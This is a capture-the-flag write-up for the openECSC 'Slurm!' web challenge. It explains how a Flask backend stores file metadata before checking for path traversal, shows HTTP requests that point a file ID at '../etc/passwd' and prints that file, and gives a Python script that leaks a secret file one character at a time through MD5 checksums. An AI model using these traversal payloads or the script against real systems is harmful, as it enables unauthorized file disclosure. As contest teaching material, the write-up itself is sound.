HOMEOPENECSC FINAL ROUND WRITEUP
HOME
OPENECSC
FINAL ROUND
WRITEUP

// [web] Slurm! (41 solves)

// Writeup author: @aquila2
// Challenge authors: @M1gnus

Challenge description

Welcome to slurm's official website, here you're going to learn a lot of new reasons to drink slurm. And please don't ask about our secret recipe... some secrets must remain secrets.

Site: http://slurm.challs.open.ecsc2024.it

Table of contents

Overview

This was an interesting challenge that could be solved just by looking carefully at the source code - no incredibile state-of-the-art exploits, CVEs or 0-days needed.

We can start by taking a look at the docker-compose.yml file, which contains some information about the services that are in execution.

backend, mongodb, frontend, nginx

nginx serves as a proxy (bridge) between the Internet and the containers frontend (which provides a graphical interface) and backend (which handles the logic) on port 80 (HTTP).

mongodb is an internal database service that cannot be accessed from the outside.

We are pretty much interested in the backend, because that's realistically where the flag is, but we should also look at the other services to better understand the global working of the website.

NGINX + frontend

As we can read from nginx.conf, traffic arriving to slurm.challs.open.ecsc2024.it is being routed to the backend if the URL path starts with /api/v1/, else it will be processed by the frontend.

[...] listen 80; [...] location /api/v1/ { add_header Access-Control-Allow-Origin *; proxy_set_header Host $host; proxy_pass http://backend:80/; } location / { add_header Access-Control-Allow-Origin *; proxy_pass http://frontend:3000/; } [...]

Let's take a look at the frontend service. It is powered by Svelte, a fast framework used in front-end interfaces.

The directory tree (frontend/) might seem a little freightening at first, but everything we need is located in frontend/src/, which has far less files.

Every URL path has a corresponding folder inside frontend/src/routes. In this case there is only the 'index' page, found in frontend/src/routes/+page.svelte.

There are a bunch of instructions written in TypeScript needed to render the page client-side when we visit http://slurm.challs.open.ecsc2024.it/. We can see that there are some calls being made to to backend in order to upload, retrive or get a checksum of a file.

There is nothing of interest here, we should analyse what those calls do inside the backend instead.

The backend

The backend is a Python Flask web server, the sources can be found in backend/app.py, backend/marketing.py and backend/models.py.

Inside app.py we find the startup procedure and the routes configured for the backend API. I believe it's important to understand what happens and in which order to be able to solve this challenge.

Highlights of Lines 1-65 (app.py)

  1. Flask web server gets initialized with a safe secret key (we won't be able to crack os.urandom(32), but still, forging a session cookie is useless in this case).
  2. A MongoDB client is declared and it gets populated with the default files metadata (declared in marketing.py).
  3. There is a cleanup routine which deletes users' files every couple of hours.

marketing.py contains the default files information - the flag is located inside secretrecipe.txt, which has id ea41c85c-3db0-4ded-aff1-a93994f64d81

models.py contains some classes that are used to handle errors and process files, like FileMetadata. We'll get to these later.

Reading a File

Let's return to app.py and find the actual routes. There are two functions that can read files, and they look pretty similar

GET /files/<id>GET /files/<id>/checksum
@app.get("/files/<id>") def get_file(id): #Check if ID is permitted if id == "ea41c85c-3db0-4ded-aff1-a93994f64d81": return "", 403 #Check if ID exists res = metadata.find_one({ "id": {"$eq": id} }) if res is None: return "", 404 #Create a FileMetadata object with retrieved data m = FileMetadata( res["author"], res["filename"], res["description"], id=res["id"], ) #Check filename is not 'secretrecipe.txt' if files[-1]["metadata"]["filename"] in res["filename"]: return "", 403 #Return content with offset defined in GET parameter return m.read(int(request.args.get("offset", 0)))
@app.get("/files/<id>/checksum") def get_file_integrity(id): #Check if ID is permitted if id == "ea41c85c-3db0-4ded-aff1-a93994f64d81": return "", 403 #Check if ID exists res = metadata.find_one({ "id": {"$eq": id} }) if res is None: return "", 404 #Create a FileMetadata object with retrieved data m = FileMetadata( res["author"], res["filename"], res["description"], id=res["id"], ) #Get content with offset defined in GET parameter content = m.read(int(request.args.get("offset", 0))) #Return MD5 checksum of content return {"checksum": hashlib.md5(content.encode()).hexdigest()}

Both functions block the ID we would like to access (ea41c85c-3db0-4ded-aff1-a93994f64d81), perform a check to verify the existence of the ID and create a FileMetadata object, which we'll analyse later.

Then things start to get a little different.

Function /files/<id> performs another check to ensure that the file we are about to open isn't just a sort of 'link' to secretrecipe.txt and returns the plaintext.

Function /files/<id>/checksum doesn't perform that check and instead returns the MD5 hash of the content. If we manage to create a 'link' file and crack that MD5 we might be able to get the flag.

Obviously, we can't bruteforce an MD5 hash of a long string. That would take way too much time and is not a valid solution.

There are about 100 printable characters in the ASCII alphabet, if the flag is 20 chars long (openECSC{ prefix excluded), it would take us a maximum of 100**20 guesses. That's a number made up by 40 digits.

In an MD5 hash every character concurs to the creation of the whole hash, so we can't just guess the single characters, we have to guess the entire string...or do we?

Fortunately, there is still a thing we haven't considered: the offset parameter. Let's try to use it:

$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b The most addictive drink ever!
$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b?offset=10 ddictive drink ever!

It returns the content starting from the index specified in the request. Cool!

Since we are working in Python and there are no checks performed, we can also retrieve the last n-characters using negative indexes.

$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b?offset=-1 !

Well well well, the same thing works in the /files/<id>/checksum path and we can easily bruteforce the MD5 of a single character, so if we manage to create a file that links to secretrecipe.txt we could read the flag character by character, effectively circumventing the limitation imposed by the plaintext function!

Writing a File

Now let's take a look at the functions that allow us to upload new files. There are two that, again, look pretty similar.

POST /filesPUT /files/<id>
@app.post("/files") def post_file(): #Process file upload with parse_file() and save it body = request.json try: parsed_body = parse_file(body) except (KeyError, ValueError): return "", 422 m = parsed_body["metadata"] content = parsed_body["content"] m.write(metadata, content) r = make_response("", 201) r.headers["Location"] = f"/api/v1/files/{m.id}" return r
@app.put("/files/<id>") def put_file(id): #Check that ID is not used in the default files if id in forbidden_ids: return "", 403 # Process file upload with parse_file() and save it body = request.json try: parsed_body = parse_file(body, id) except (KeyError, ValueError): return "", 422 m = parsed_body["metadata"] content = parsed_body["content"] m.write(metadata, content) r = make_response("", 201) r.headers["Location"] = f"/api/v1/files/{m.id}" return r

Ok, so the only thing that differs is that by using the PUT method we can choose the ID of the file we are uploading. Now let's take a look at the parse_file() function, that gets called by both of them.

def parse_file(body, id=None): import re, string CONTENT_CHECK = re.compile(f"[^ {string.ascii_letters}]") if CONTENT_CHECK.search(body["content"]): raise ValueError() if len(body["content"]) > 200: raise ValueError() return { "metadata": FileMetadata( body["author"], body["filename"], body["description"], id, ), "content": body["content"] }

After ensuring that the body contains letters only and that its length is less or equal to 200 chars, the function returns a FileMetadata object on which the other functions call a .write() method. Let's see what it does.

FileMetadata

Finally, let's take a look at the FileMetadata class inside backend/models.py.

class FileMetadata: [... Max length checks ...] self.author = author self.filename = filename self.init = id in forbidden_ids basedir = "/company" if self.init else "/tmp" self.path = f"{basedir}/{filename}" self.description = description self.id = str(UUID(id, version=4)) if id is not None else str(uuid4()) def write(self, collection, content): if self.id in forbidden_ids and not self.init: raise ValueError("Use of forbidden id") collection.insert_one(vars(self)) if "./" in self.path: raise PathTraversalAttemptDetectedException() if len(content) > 200: raise FileTooBigException() with open(self.path, "w") as f: f.write(content) def read(self, offset): with open(self.path) as f: f.seek(offset) return f.read()

Ok, everytime a FileMetadata object gets created this happens:

  1. No checking or processing gets done on author and description fields, they are simply saved.
  2. Path is defined as /company/{filename} if the id is one of the default ones (marketing.py), else it is in the /tmp/{filename} format.
    1. Since the default files are stored inside /company, we probably won't be able to write inside that folder as we would be able to overwrite the flag...that is not intended to happen.
    2. The same check is performed before creating the object, so we can't set ID to a forbidden one in order to skip this check.
  3. id is parsed by the UUID() function, which formats a 16 byte hex string into a valid UUID4

Then if .write() method gets called:

  1. Another check is performed on the ID. Again, there is nothing much we can do about this.
  2. The file metadata (author, path, description and id) is written to MongoDB
  3. There is a check to prevent Path Traversal exploits.
    1. If this weren't in place, we could have submitted a filename like ../company/secretrecipe.txt to trick the server into writing to /company.
  4. Content length gets checked - this is redundant, parse_file() already did that.
  5. Eventually, the file is written to the disk.

The .read() method simply reads the file from the given path and returns its content with the offset we discussed before.

Metadata exploit

I purposefully used an ordered list to describe the FileMetadata class.

You may have noticed that there is a little problem inside the .write() method: the file metadata is written to MongoDB before the path traversal check is being made.

That check effectively stops us from writing a file to an arbitrary path on disk, but we can still create the metadata for it and read the contents they point to!

Let's try to read a file outside the scope of the challenge, like /etc/passwd, that is always present.

In order to do so, we could upload a random textfile from the website and intercept (or repeat) the request using a proxy, like Burp Suite or ZAP.

RequestResponse
POST /api/v1/files HTTP/1.1 Host: slurm.challs.open.ecsc2024.it Content-Length: 101 Accept-Language: en-GB,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/json Accept: */* Origin: http://slurm.challs.open.ecsc2024.it Referer: http://slurm.challs.open.ecsc2024.it/ Accept-Encoding: gzip, deflate, br Connection: keep-alive { "filename":"testfile", "description":"1726926273220 | 10", "author":"challenger", "content":"testcontent" }
HTTP/1.1 201 Created Access-Control-Allow-Origin: http://slurm.challs.open.ecsc2024.it Access-Control-Allow-Origin: * Content-Length: 0 Content-Type: text/html; charset=utf-8 Date: Tue, 24 Sep 2024 16:15:52 GMT Location: /api/v1/files/6ac10d26-a970-4dd5-9163-6b24cc61fd95 Server: nginx/1.25.5 Vary: Origin
Example request to upload a legit file

If we use the ./ char inside the filename field the server will return a 500 Internal Server Error response with no body, so we won't be able to see the UUID that gets assigend to out file.

Let's use the other route to upload files (PUT /api/v1/files/<id>) by manually editing the request so that we can directly specify an UUID. We can choose a random one, like b611c4f8-9978-45f7-9edd-c076cd4b33dd. Replace filename value with ../etc/passwd, that is the relative path to /etc/passwd starting from /tmp (../ is used do go back one directory)

RequestResponse
PUT /api/v1/files/b611c4f8-9978-45f7-9edd-c076cd4b33dd HTTP/1.1 Host: slurm.challs.open.ecsc2024.it Content-Length: 106 Accept-Language: en-GB,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/json Accept: */* Origin: http://slurm.challs.open.ecsc2024.it Referer: http://slurm.challs.open.ecsc2024.it/ Accept-Encoding: gzip, deflate, br Connection: keep-alive { "filename":"../etc/passwd", "description":"1726926273220 | 10", "author":"challenger", "content":"testcont" }
HTTP/1.1 500 Internal Server Error Access-Control-Allow-Origin: http://slurm.challs.open.ecsc2024.it Content-Length: 265 Content-Type: text/html; charset=utf-8 Date: Tue, 24 Sep 2024 16:27:07 GMT Server: nginx/1.25.5 Vary: Origin <!doctype html> <html lang=en> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> [...]
Submitting malicious metadata

As expected, the server is not very happy about our request and returns a 500 error, so our content won't get written to disk.

Nevertheless, now ID b611c4f8-9978-45f7-9edd-c076cd4b33dd has filename=../etc/passwd inside MongoDB, so we can access it!

$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/b611c4f8-9978-45f7-9edd-c076cd4b33dd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync web:x:1000:1000::/home/web:/bin/sh [...]

Putting everything together

If we directly tried to access ../company/secretrecipe.txt from /files/<id>, we would be blocked by the filename check.

We know we can bypass that using the checksum function, but it requires a request for every character of the flag. We can automate this by writing a simple python script.

import requests import string import hashlib import uuid URL_BASE = "http://slurm.challs.open.ecsc2024.it/api/v1/files/" # 1. Upload a file that will be used as a 'link' body = { "filename":"../company/secretrecipe.txt", "description":"1726926273220 | 10", "author":"challenger", "content":"testcont" } # Generate uuid4 and prepare URL random_uuid = uuid.uuid4() url = URL_BASE + str(random_uuid) # Make the request and submit body as JSON requests.put(url, json=body) # 2. Read secretrecipe.txt body character by character # and guess the MD5 hash # We start by getting the last single char offset = -1 # Flag is initally empty flag = "" # Update URL url = URL_BASE + str(random_uuid) + "/checksum?offset=" flag_found = False while not flag_found: # Make the request and read the MD5 checksum resp = requests.get(url + str(offset)) hash1 = resp.json()['checksum'] # Try to find a match with every printable ASCII char for char in string.printable: # We have to append the known part of the flag to # every char to generate new candidates candidate = char+flag # Generate MD5 hash and check for a match hash2 = hashlib.md5((candidate).encode('ascii')) if hash1 == hash2.hexdigest(): # Update old flag with the new character flag = candidate # We decrease the offset by one to proceed offset = offset - 1 # Print the flag every time - it's satisfactory # seeing it being built step by step! print(flag) # If the flag is complete, stop. if len(flag) >= 9 and flag[0:9] == "openECSC{": flag_found = True

And that's it, we have the flag!

This was a fun challenge that teaches us to read what we are provided with carefully, without falling in rabbit holes and jumping to wrong conclusions like "Oh yes, NoSQL injection on line 78!" (there is nothing here...it's safe).

Thank you for taking the time to read this writeup!

// Attachments
py//solve.pyDownload download file